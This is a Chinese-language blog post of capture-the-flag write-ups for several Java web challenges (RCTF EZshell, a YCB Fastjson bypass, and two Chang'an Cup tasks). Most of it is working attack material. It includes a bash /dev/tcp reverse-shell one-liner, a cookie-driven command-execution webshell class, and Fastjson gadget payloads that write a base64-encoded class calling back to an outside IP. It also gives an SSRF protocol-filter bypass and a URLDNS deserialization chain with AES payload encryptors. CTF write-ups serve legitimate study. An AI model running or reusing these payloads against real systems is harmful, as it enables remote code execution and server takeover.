记录一下最近的一些java题。。。。
RCTF-EZshell
有一说一,这个题目应该是web…..
题目给了一个war包,非常明显是通过tomcat搭建。
为了方便我转换成了springboot项目。项目:
其实非常简单。。。
就我们写一个恶意类,然后继续aes加密然后在base64加密之后让服务端继续解密然后加载执行就欧克。。
最开始自己是写的静态代码,因为静态代码实例化的时候要执行,然后就可以执行命令。
try{
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
}catch (IOException e){
try{
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
}catch (IOException ee){
}
}
然后在aes加密,这里是中中给的脚本,而且只能在mac上生成有效果???
<?php
// 要加密的字符串
$data = file_get_contents("Payload.class");#读我们字节码文件
// 密钥
$key = 'e45e329feb5d925b';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo base64_encode(($encrypt));
下一个问题就是题目不出网,没有交互信息,都是应该说能够返回信息,所以我们只需要将我们的命令执行的结果返回就欧克。
尝试了好久之后发现不是反射执行了e方法吗?里面就2给参数,request和response
我们就可以通过response返回信息了呀
所以我们重写一个e方法参数是request和response。
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class cmd {
public void e(Object request,Object response)throws Exception {
HttpServletResponse httpServletResponse = (HttpServletResponse) response;
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
Cookie[] cookies = httpServletRequest.getCookies();
String cmd = null;
if (cookies != null && cookies.length > 0) {
for (Cookie cookie : cookies) {
if ("cmd".equals(cookie.getName()))
cmd = cookie.getValue();
}
}
try{
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while ((line = reader.readLine()) != null) {
//String encode = new BASE64Encoder().encode(line.getBytes("UTF-8"));
//System.out.println(encode);
httpServletResponse.getWriter().write(line);
}
}catch (IOException e){
try{
Process p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while ((line = reader.readLine()) != null) {
//String encode = new BASE64Encoder().encode(line.getBytes("UTF-8"));
//System.out.println(encode);
httpServletResponse.getWriter().write(line);
}
}catch (IOException ee){
}
}
}
}
通过Cookie: cmd=whoami执行命令。。
总体上来说还是有意思。。。
下面是直接搭建的环境。并且通过java实现aes加密
package com.firebasky.ezshell.exp;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.FileInputStream;
import java.util.Arrays;
import java.util.Base64;
public class AES {
public static void main(String[] args) throws Exception {
byte[] string = readFile("路径\\cmd.class");
String k = "ZTQ1ZTMyOWZlYjVkOTI1Yg==";//key 密钥e45e329feb5d925b
String encrypt = encrypt(k, string);
System.out.println(encrypt);
}
public static byte[] readFile(String path) throws Exception {
File file = new File(path);
FileInputStream inputFile = new FileInputStream(file);
byte[] buffer = new byte[(int)file.length()];
inputFile.read(buffer);
inputFile.close();
return buffer;
}
public static String encrypt(final String secret, final byte[] data) {
byte[] decodedKey = Base64.getDecoder().decode(secret);
try {
Cipher cipher = Cipher.getInstance("AES");
// rebuild key using SecretKeySpec
SecretKey originalKey = new SecretKeySpec(Arrays.copyOf(decodedKey, 16), "AES");
cipher.init(Cipher.ENCRYPT_MODE, originalKey);
byte[] cipherText = cipher.doFinal(data);
return Base64.getEncoder().encodeToString(cipherText);
} catch (Exception e) {
throw new RuntimeException(
"Error occured while encrypting data", e);
}
}
public static String decrypt(final String secret, final String encryptedString) {
byte[] decodedKey = Base64.getDecoder().decode(secret);
try {
Cipher cipher = Cipher.getInstance("AES");
// rebuild key using SecretKeySpec
SecretKey originalKey = new SecretKeySpec(Arrays.copyOf(decodedKey, 16), "AES");
cipher.init(Cipher.DECRYPT_MODE, originalKey);
byte[] cipherText = cipher.doFinal(Base64.getDecoder().decode(encryptedString));
return new String(cipherText);
} catch (Exception e) {
throw new RuntimeException(
"Error occured while decrypting data", e);
}
}
}
YCB-Fastjsonbypass
参考ycb 2021 搭建的环境。。。
分享自己fork的项目:https://github.com/Firebasky/Fastjson
{
"keyword":
{"$ref": "$r2.message"},
"msg":
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.Exception",
"\u0040\u0074\u0079\u0070\u0065": "com.firebasky.fastjsonbypass.Exception.MyException"
}
}
因为自己本地环境是win,而且jdk的8u201不支持这样的方法.所以使用其他方法。
import java.io.IOException;
public class Cmd implements AutoCloseable{
static{
try{
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
}catch (IOException e){
try{
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
}catch (IOException ee){
}
}
}
@Override
public void close() throws Exception {
}
}
{
"stream": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "xxx//target//classes//Cmd.class",
"tempPath": ""
},
"writer": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065": "com.esotericsoftware.kryo.io.Output",
"buffer": "yv66vgAAADQAMAoADQAbCgAcAB0HAB4IAB8IACAIACEKABwAIgcAIwgAJAgAJQgAJgcAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVjbG9zZQEACkV4Y2VwdGlvbnMHACoBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACMBAApTb3VyY2VGaWxlAQAIQ21kLmphdmEMAA8AEAcAKwwALAAtAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQBWZXhlYyA1PD4vZGV2L3RjcC8xLjExNi4xMzYuMTIwLzIzMzM7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmUMAC4ALwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAANjbWQBAAIvYwEABGNhbGMBAANDbWQBABBqYXZhL2xhbmcvT2JqZWN0AQAXamF2YS9sYW5nL0F1dG9DbG9zZWFibGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAMAA0AAQAOAAAAAwABAA8AEAABABEAAAAdAAEAAQAAAAUqtwABsQAAAAEAEgAAAAYAAQAAAAIAAQATABAAAgARAAAAGQAAAAEAAAABsQAAAAEAEgAAAAYAAQAAABAAFAAAAAQAAQAVAAgAFgAQAAEAEQAAAJkABQACAAAAPbgAAga9AANZAxIEU1kEEgVTWQUSBlO2AAdXpwAiS7gAAga9AANZAxIJU1kEEgpTWQUSC1O2AAdXpwAETLEAAgAAABoAHQAIAB4AOAA7AAgAAgASAAAAHgAHAAAABQAaAAsAHQAGAB4ACAA4AAoAOwAJADwADAAXAAAAFgADXQcAGP8AHQABBwAYAAEHABj6AAAAAQAZAAAAAgAa",
"outputStream": {
"$ref": "$.stream"
},
"position": 822//通过wc 命令统计
},
"close": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
然后触发
{
"@type":"java.lang.AutoCloseable",
"@type":"EvilRevShell"
}
然后的话因为不会搭建环境就没有复现了。。。可以看官方的wp。
长安杯-高校组-java_url
这个题比较简单。。。。类似去年的一个题
打开网站源代码有一个/download?filename=
直接下载WEB-INF/web.xml文件然后去读class文件,然后在反编译代码审计。
发现存在一个ssrf漏洞,并且过滤了一些协议不过这些协议可以绕过。
直接绕协议
/testURL?url=%0afile:///flag
而这里也是直接秒的,因为当时写ycb的环境的时候遇到了\n不能匹配的问题。。
长安杯-企业组-ezjava
源代码直接进行代码审计,项目是springboot启动的,看一下controller,里面主要是进行调用getflag()函数去执行。
看一下逻辑非常简单。就需要我们输入一个base64加密的数据,然后 在解密,在aes解码,然后在进行反序列化,然后在去读其他属性匹配就getflag。
一看就想得到的urldns 链子,而且项目的test文件里面给了hint。。。。
直接构造
public static Object exp()throws Exception{
Class clazz = Class.forName("java.net.URL");
Constructor con = clazz.getConstructor(String.class);
URL url = (URL)con.newInstance("https://aaaaaaaa.com");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 72768382);
return url;
}
这样是不行的因为readobject的时候进行了强制转换
HashMap obj = (HashMap)ois.readObject();
我们封装一下就ok了。
public static Object exp()throws Exception{
Class clazz = Class.forName("java.net.URL");
Constructor con = clazz.getConstructor(String.class);
URL url = (URL)con.newInstance("https://aaaaaaaa.com");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 72768382);
HashMap map = new HashMap<>();//封装
map.put(url,url);
return map;
}
然后就非常简单了。使用aes去加密就OK
key: c0dehack1nghere7
偏移量:b60eb83bf533eecf
模式: CBC
有一个坑点是base64加密,要使用下面这个才可以。。
byte[] encode = java.util.Base64.getUrlEncoder().encode(encrypt);
然后直接getlflag。
或者可以使用下面代码java生成
import org.apache.tomcat.util.codec.binary.Base64;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.GeneralSecurityException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class aestool {
private static final String ALGORITHM = "AES";
private static final String CIPHER_GETINSTANCE = "AES/CBC/PKCS5Padding";
private static final byte[] keyBytes = "c0dehack1nghere7".getBytes(StandardCharsets.UTF_8);
private static final byte[] ivSpec1 = "b60eb83bf533eecf".getBytes(StandardCharsets.UTF_8);
public static void main(String[] args)throws Exception {
byte[] string = readFile("exp.ser");
System.out.println(encrypt(string));
}
public static String encrypt(final byte[] msg) throws IOException,
NoSuchAlgorithmException, GeneralSecurityException {
String encryptedMsg = "";
byte[] encrypt = getCipherInstance(true).doFinal(msg);
encryptedMsg = Base64.encodeBase64String(encrypt);
byte[] encode = java.util.Base64.getUrlEncoder().encode(encrypt);
return new String(encode);
}
private static Cipher getCipherInstance(boolean encoder)
throws NoSuchAlgorithmException, NoSuchPaddingException,
IOException, InvalidKeyException,
InvalidAlgorithmParameterException {
SecretKeySpec keySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivSpec1);
Cipher cipher = Cipher.getInstance(CIPHER_GETINSTANCE);
if (encoder) {
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
} else {
cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
}
return cipher;
}
public static byte[] readFile(String path) throws Exception {
File file = new File(path);
FileInputStream inputFile = new FileInputStream(file);
byte[] buffer = new byte[(int)file.length()];
inputFile.read(buffer);
inputFile.close();
return buffer;
}
}
参考:
https://github.com/Firebasky/ctf-Challenge/tree/main/2021_ycb_shop_system
https://github.com/Firebasky/ctf-Challenge/tree/main/RCTF-2021-EZshell
发表评论
您还未登录,请先登录。
登录